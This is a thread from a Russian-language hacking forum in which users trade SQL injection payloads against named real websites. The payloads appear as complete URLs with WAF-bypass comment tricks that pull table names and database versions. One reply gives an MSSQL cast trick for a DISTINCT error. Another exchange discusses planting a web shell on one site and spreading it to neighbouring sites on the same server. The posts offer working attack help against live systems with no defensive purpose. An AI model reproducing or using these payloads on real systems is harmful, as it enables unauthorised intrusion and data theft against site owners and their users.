29.12.2011, 21:33
|
|
Участник форума
Регистрация: 08.09.2011
Сообщений: 137
С нами:
7725206
Репутация:
26
|
|
Сообщение от lightangel
Код:
http://ogra.org.pk/cats_disp.php?cat=-172
It has 8 order by.
I cannot get tables.
It's WAF and I've tried all my WAF skills. http://ogra.org.pk//cats_disp.php?cat=-20+/*!union*/+select+1,2,3,4,5,version(),7,8--+
|
|
|
29.12.2011, 23:25
|
|
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами:
7638806
Репутация:
-6
|
|
Sorry, I mean tables and not the version.
I already had the version.
|
|
|
|
29.12.2011, 23:37
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
http://ogra.org.pk//cats_disp.php?cat=-20+/*!union*/+select+1,2,3,4,5,/*!table_name*/,7,8/**//*!from*//**/information_schema.%60tables%60--+
=\
|
|
|
|
30.12.2011, 00:27
|
|
Постоянный
Регистрация: 29.08.2010
Сообщений: 842
С нами:
8265206
Репутация:
84
|
|
http://www.traktora.com.ua/subcat.php?sort=1
Можно что-то выжать?
|
|
|
|
30.12.2011, 00:44
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от shadowrun
http://www.traktora.com.ua/subcat.php?sort=1
Можно что-то выжать?
можно, но из другого скрипта:
http://www.traktora.com.ua/catalog.php?cat=-2+union+select+version()--
|
|
|
|
30.12.2011, 00:46
|
|
Постоянный
Регистрация: 29.08.2010
Сообщений: 842
С нами:
8265206
Репутация:
84
|
|
Сообщение от d1v
можно, но из другого скрипта:
http://www.traktora.com.ua/catalog.php?cat=-2+union+select+version()--
Спасибо!
|
|
|
|
30.12.2011, 11:07
|
|
Познающий
Регистрация: 19.11.2006
Сообщений: 32
С нами:
10249722
Репутация:
5
|
|
MSSQL INJ
Сообщение от None
-12+union+select+@@version--
дает ответ
Сообщение от None
Microsoft SQL Native Client error '80040e14'
The ntext data type cannot be selected as DISTINCT because it is not comparable.
Возможно ли обойти DISTINCT в инъекции путем конверта или еще как то?
Спасибо |
|
|
|
30.12.2011, 11:26
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от jangle
MSSQL INJ
дает ответ
Возможно ли обойти
DISTINCT
в инъекции путем конверта или еще как то?
Спасибо
Select DISTINCT cast (Your Col Name as NVARCHAR(MAX))
|
|
|
|
30.12.2011, 11:29
|
|
Участник форума
Регистрация: 10.07.2011
Сообщений: 252
С нами:
7811606
Репутация:
21
|
|
залил шелл на один сайт, потом решил залить на соседние сайты, все норм задивается но файл не находит, другие файлы с этой директории читает кроме моих, как можно решить проблему?
|
|
|
|
30.12.2011, 12:05
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от DyukiN
залил шелл на один сайт, потом решил залить на соседние сайты, все норм задивается но файл не находит, другие файлы с этой директории читает кроме моих, как можно решить проблему?
Возможно сайты на другом сервере. Т.е. у тебя остались старые версии сайтов. Попробуй сделать что-то типа 123.txt, если не находит, то возможно я прав.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
